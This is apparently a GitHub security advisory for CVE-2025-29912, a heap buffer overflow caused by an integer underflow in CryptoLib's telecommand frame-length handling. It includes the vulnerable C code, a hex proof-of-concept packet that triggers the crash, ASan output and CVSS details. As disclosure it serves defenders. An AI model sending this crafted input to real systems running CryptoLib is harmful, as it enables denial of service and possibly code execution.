Skip to content

Heap Buffer Overflow Due to Unsigned Integer Underflow in Crypto_TC_ProcessSecurity

Critical
jlucas9 published GHSA-3f5x-r59x-p8cf Mar 17, 2025

Package

No package listed

Affected versions

<= 1.3.3

Patched versions

None

Description

Description

Summary

An unsigned integer underflow in the Crypto_TC_ProcessSecurity function of CryptoLib leads to a heap buffer overflow. The vulnerability is triggered when the fl (frame length) field in a Telecommand (TC) packet is set to 0. This underflow causes the frame length to be interpreted as 65535, resulting in out-of-bounds memory access. This critical vulnerability can be exploited to cause a denial of service (DoS) or potentially achieve remote code execution.

Details

The vulnerable code is located in the Crypto_TC_Parse_Check_FECF function:

if (current_managed_parameters_struct.has_fecf == TC_HAS_FECF) {
    tc_sdls_processed_frame->tc_sec_trailer.fecf =
        (((ingest[tc_sdls_processed_frame->tc_header.fl - 1] << 8) & 0xFF00) |
         (ingest[tc_sdls_processed_frame->tc_header.fl] & 0x00FF));
}

The fl field, which represents the frame length, is an unsigned 16-bit integer. When this value is set to 0, the subtraction operation (fl - 1) underflows, resulting in an index of 65535, which is far beyond the valid buffer boundaries. The issue was identified through fuzz testing and had not been previously disclosed or patched, highlighting a severe security risk.

Proof of Concept (PoC)

To reproduce the issue, pass the following input to the vulnerable function:

08 03 00 00 7F 0B 00 0A FD 02 02 02 02 7F FF 02 02 02 02 02 02 02 02 02
02 02 02 02 02 9B DD 5F 3C 98 DD 1C 50 D2 7A 43 0A 4B 67 57 AA 33 EC 18
39 52 A9 F7 6E 50 4E B5 F8 00 10 66 ED 6C 00 C8 78 8E 11 99 7F 2A 05 8D
A1 63 3E 11 FE D9 85 1D 45 7B B3 1A 96 37 EC 8F 4F 15 BC 85 75 A0 E7 10
4D BA 5C 66 6B 17 F7 CC CD C2 AD BF F9

Observe ASan logs, which will report an out-of-bounds write:

==827279==ERROR: AddressSanitizer: heap‐buffer‐overflow on address
0x50400000444f at pc 0x7e0c208cc479
READ of size 1 at 0x50400000444f thread T0
#0 0x7e0c208cc478 in Crypto_TC_Parse_Check_FECF

Impact

This vulnerability allows an attacker to trigger a denial of service (DoS) by crashing the application. Under specific conditions, it may also be possible to execute arbitrary code, depending on the surrounding memory layout and conditions.

This vulnerability affects all versions of CryptoLib up to and including version 1.3.3. Users of CryptoLib are advised to apply the recommended patch or avoid processing untrusted TC packets until a fix is available.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-29912

Weaknesses

Heap-based Buffer Overflow

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Learn more on MITRE.

Integer Underflow (Wrap or Wraparound)

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result. Learn more on MITRE.

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits